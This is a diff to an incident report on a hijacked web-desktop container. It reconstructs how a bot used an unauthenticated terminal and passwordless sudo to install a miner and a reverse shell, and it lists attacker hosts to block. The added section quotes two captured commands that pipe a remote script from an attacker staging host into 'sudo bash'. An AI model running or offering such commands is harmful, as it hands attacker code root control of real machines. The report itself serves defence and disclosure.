diff --git a/docs/incident-2026-11-11.md b/docs/incident-2026-11-11.md
index 937eb50..5ff9574 100644
--- a/docs/incident-2026-11-11.md
+++ b/docs/incident-2026-11-11.md
@@ -57,8 +57,31 @@ PORT   = 4444
 - SHA-256 of captured payload: `2befa0c3e6485691d4d58fec75af1e16b1c097a1ac9d2480b386d15de29da1fb`
 - Evidence: `docs/incident-2026-11-11/` (payload, crontab, process list, logs)
 
+## Attack chain (reconstructed from LMMS container logs)
+
+The webtop's own web terminal was used to run an automated exploit kit. Captured and
+base64-decoded from `docs/incident-2026-11-11/lmms-logs.txt`:
+
+```bash
+curl -k https://scripty.mooo.com/all/   | tr -d '\r' | sudo bash
+curl -k https://scripty.mooo.com/shell/ | tr -d '\r' | sudo bash
+```
+
+Each invocation was wrapped in a `RESULT_<hash>` / `xclip -selection clipboard` harness,
+i.e. a **bot driving the desktop through KasmVNC** (`INFO:data_websocket:Successfully
+launched command … with PID`) and reading results back via the clipboard. Nine distinct
+attempts are logged, so this was automated, repeated exploitation — not a one-off.
+
+Root was available because a LinuxServer webtop maps `abc` (uid 1000) to root and allows
+**passwordless sudo** (`sudo -n -l` → `(ALL : ALL) ALL`). So "web access to the desktop" is
+equivalent to "root inside the container".
+
+Chain: public hostname → unauthenticated desktop → web terminal → passwordless sudo →
+`curl | sudo bash` → miner (GIMP) / reverse shell + cron persistence (LMMS).
+
 ## Attacker infrastructure (block these)
 
+- **`scripty.mooo.com`** — exploit-kit staging, paths `/all/` and `/shell/` (pipes straight to `sudo bash`)
 - `84.8.219.196` — reverse-shell C2, TCP 4444
 - `203.188.174.67` — miner endpoint, TCP 3222
 - `172.67.131.146` — Cloudflare-fronted, TCP 443 (shared CDN — do not blanket block)